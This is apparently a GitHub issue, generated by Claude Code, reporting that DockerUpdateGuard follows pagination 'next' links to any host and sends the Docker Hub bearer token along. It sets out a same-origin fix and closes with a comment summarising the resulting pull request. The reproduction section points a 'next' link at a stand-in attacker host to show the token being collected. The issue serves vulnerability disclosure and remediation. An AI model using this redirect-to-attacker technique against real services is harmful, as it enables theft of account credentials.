Repository navigation
[BUG] Pagination links are followed to any host, sending the Docker Hub bearer token along #264
Description
Summary
Three paginated calls follow the "next page" link exactly as the remote side returns it, to any scheme, host and port: the Docker Hub web API (next in the JSON body), the generic OCI tag listing (Link: <…>; rel="next" header) and Docker Scout (next in the JSON body). Docker Hub and Docker Scout attach the Docker Hub bearer token, a JWT obtained by logging in with the configured PAT, to every page request. A malicious or compromised upstream, a misconfigured proxy, or anyone who can tamper with a response can redirect pagination to an attacker-controlled host and harvest a token that acts on the operator's Docker Hub account. It also lets a registry steer DockerUpdateGuard into requests against arbitrary (including internal) hosts.
Area
docs/areas/registries.md(added in [Docs] Describe the current behavior by area #263): What can be read (tag listing) and Docker Hub account discoverydocs/areas/vulnerabilities.md(added in [Docs] Describe the current behavior by area #263): Docker Scout- Security areas (
.squad/project.md): Registry and Docker Hub calls (DockerHubClient,OciRegistryClient,DockerScoutVulnerabilityProvider) and Secrets in configuration (Docker Hub PAT and the token derived from it)
Current behavior
Docker Hub web API: src/DockerUpdateGuard/DockerHub/DockerHubClient.cs
GetRepositoriesAsync(account discovery) setsrequestUri = TryGetString(jsonDocument.RootElement, "next");(:1117);GetTagsAsyncdoes the same (:1285-1290).- Each page goes through
SendGetAsync(:831-842), which callsApplyAuthenticationAsync(:873-904) and setsAuthorization: Bearer <Docker Hub JWT>wheneverDockerHub:Patis set.new HttpRequestMessage(HttpMethod.Get, relativeUri)with an absolute URI ignores the client'sBaseAddress, so the request (and the token) goes to whatever hostnextnames.
Docker Scout: src/DockerUpdateGuard/Vulnerabilities/DockerScoutVulnerabilityProvider.cs
FetchVulnerabilitiesAsyncstarts atDockerScoutBaseUrl(:302-305), then usesnextUrl = scoutResponse?.Next;(:348) unchecked. Every page setsAuthorization: Bearer <jwtToken>(:319-321), wherejwtTokenis the token returned by the Docker Hub login with user name and PAT. The 50-page cap (MaxVulnerabilityPages) only limits the count, not the target.
Generic OCI registries: src/DockerUpdateGuard/Images/OciRegistryClient.cs
GetNextTagsUri(:641-672) returns any absolute link target as is (:658-661);GetTagsAsyncfollows it (:1305) throughSendRegistryRequestAsync.- Registry tokens are cached per
requestUri.Authorityand repository (GetTokenCacheKey,:526-529), so the original registry's token is not attached to a foreign host. But the request still goes to the foreign host, a401there triggers an anonymous token request to the realm that host names, and the tag names it returns are inspected as if they came from the original registry.
Reproduction (Docker Hub, account discovery): configure DockerHub:UserName and DockerHub:Pat; let the first GET v2/repositories/<user>/?page_size=100 response carry "next": "https://attacker.example/collect" (for example via a test HttpMessageHandler, or a man-in-the-middle proxy that the operator trusts). The next request goes to https://attacker.example/collect with Authorization: Bearer <Docker Hub JWT>. The same works for GetTagsAsync and for Docker Scout with "next" in the vulnerabilities response.
Expected behavior
Decision (product manager): pagination follows only links on the same origin as the original request, that is the same scheme, host and port (host compared case-insensitively, default ports normalized), or as the configured base URL of the integration. Otherwise pagination stops and the call reports failed. Credentials are never sent to another host.
- Origin per call:
- Docker Hub web API: the origin of the client's base address (
DockerHub:ApiBaseUrl; see the related issue onDockerHub:Registry). - Docker Scout: the origin of
Vulnerabilities:DockerScoutBaseUrl. - OCI registry: the origin of the first tag-listing request (the registry the image reference names).
- Docker Hub web API: the origin of the client's base address (
- A relative link (for example
/v2/<repo>/tags/list?n=100&last=x, which the OCI spec allows) is resolved against the URI of the current request and is then subject to the same check. - A link on another origin, a scheme change (also
https→http) or an unparseable link: no request is sent, pagination stops, and the call answersExternalOperationResult.Failedwith a message naming the call, the repository/account/image, and that the next-page link pointed to a different origin. The message may name the offending host but never contains tokens, credentials or the full query string. - The rejection is logged as a warning, through the existing source-generated logging classes, without credentials.
- Partial results collected before the rejection are not returned as succeeded: a truncated tag list could hide updates, and for Docker Scout a failed assessment leaves the stored findings untouched (
docs/areas/vulnerabilities.md, Assessment per image version). - Same-origin links keep working exactly as today, including the Docker Scout 50-page cap and the bounded-listing stop conditions.
Acceptance criteria
-
DockerHubClient.GetTagsAsyncandGetRepositoriesAsyncstop at anextlink with a different host, port or scheme, send no request to it, and returnFailed; the test handler asserts that no request reached the foreign host and that no request with anAuthorizationheader left the configured origin. -
DockerScoutVulnerabilityProvider.GetVulnerabilitiesAsyncbehaves the same for a cross-originnextlink and returnsFailed. -
OciRegistryClient.GetTagsAsyncreturnsFailedfor an absoluteLink: rel="next"target on another origin and follows a relative link and a same-origin absolute link as before. - A
https→httpdowngrade on the same host is rejected. - Failure messages contain no token, PAT or
Authorizationvalue (asserted in the tests). - Unit tests (MSTest, NSubstitute or a hand-written
HttpMessageHandlerstub, names perdocs/UNIT_TESTS.md), for exampleDockerHubClientGetTagsCrossOriginNextLinkReturnsFailed,DockerHubClientGetRepositoriesCrossOriginNextLinkReturnsFailed,DockerHubClientGetTagsSameOriginNextLinkFollowsLink,DockerScoutVulnerabilityProviderCrossOriginNextLinkReturnsFailed,OciRegistryClientGetTagsCrossOriginLinkHeaderReturnsFailed,OciRegistryClientGetTagsRelativeLinkHeaderFollowsLink, and tests for the shared origin-check helper (case, default port, scheme downgrade, relative link). - Format, build, tests, Analyzer gate and Coverage gate from
.squad/stack.mdpass. - The area documents
docs/areas/registries.mdanddocs/areas/vulnerabilities.mddescribe the new behavior and their Known gaps entries for this issue are removed.
Implementation notes
- Put the origin check into one small internal helper (for example
PaginationLinkGuardinsrc/DockerUpdateGuard/Infrastructure/) that takes the current request URI, the allowed origin and the raw link, and returns the resolvedUriornull. Use it in the three call sites; this keeps the rule identical and testable on its own. - Docker Hub: compare against the origin of
_httpClient.BaseAddress(set fromDockerHubClient.GetBaseUri). Docker Hub itself returns absolutehttps://hub.docker.com/v2/...links, so the default configuration keeps working. Pitfall: an operator who setsApiBaseUrlto a mirror or proxy gets failed listings if the proxy does not rewritenextlinks to its own origin. That is intended (no credentials cross-host) and should be stated in the area document and README entry forApiBaseUrl. - Docker Scout: today a relative
nextwould throwInvalidOperationException(the client created byIHttpClientFactory.CreateClient()has noBaseAddress) and become "Docker Scout scan failed: …". Resolve relative links against the current request URI instead. - OCI:
GetNextTagsUrialready resolves relative links againstCreateRegistryUri(registry, string.Empty). Note thatGetTagsAsyncworks withNormalizeRegistry(registry), which drops the scheme and base path of an absolute registry URL; derive the allowed origin from the actual first request URI so the check matches what was really requested. - Do not rely on
HttpClientHandlerredirect behavior for this: the problem is application-level link following, not HTTP 3xx. - Out of scope: the
realmof aWWW-Authenticate: Bearerchallenge (OCI token service on another host is legitimate and is requested anonymously); HTTP redirects. - Must not change: integration clients answer with
ExternalOperationResult<T>and never throw for expected failures (.squad/project.md, Guarantees); the PAT and tokens never appear in logs or messages (Secrets in configuration). - No configuration or migration impact.
Related
- F-009 (P1) — DockerHub access token cache tied to scope lifetime #25 and F-045 (P6) — Two
DockerHubClientinstances per scope → duplicated token cache (amplifies F-009) #6 (Docker Hub token cache scope and instances; the token at risk here) - PR [Docs] Describe the current behavior by area #263 (area documents)
Generated by Claude Code
Activity
LarsLaskowski commentedon Oct 24, 2026
Squad working record
Tier: security. Plan: specs/issue-264/plan.md (permalink to the last commit that contains it).
Summary: One shared guard (
PaginationLinkGuard) resolves each next-page link against the current request and follows it only when scheme, host and port match the allowed origin; otherwise no request is sent and the call returns failed (decision record 0004, accepted). The plan challenge found no major objection (2 minor notes), Security approved the plan and the diff, and the review needed one fix round (Docker Scout whitespacenext, one documentation sentence). After the PR, one SonarQube finding (S2589) was fixed. Follow-ups: #301 (page cap), #302 (comma inLinktarget). Pull request: #303.log.md
Squad run metrics
Generated by Claude Code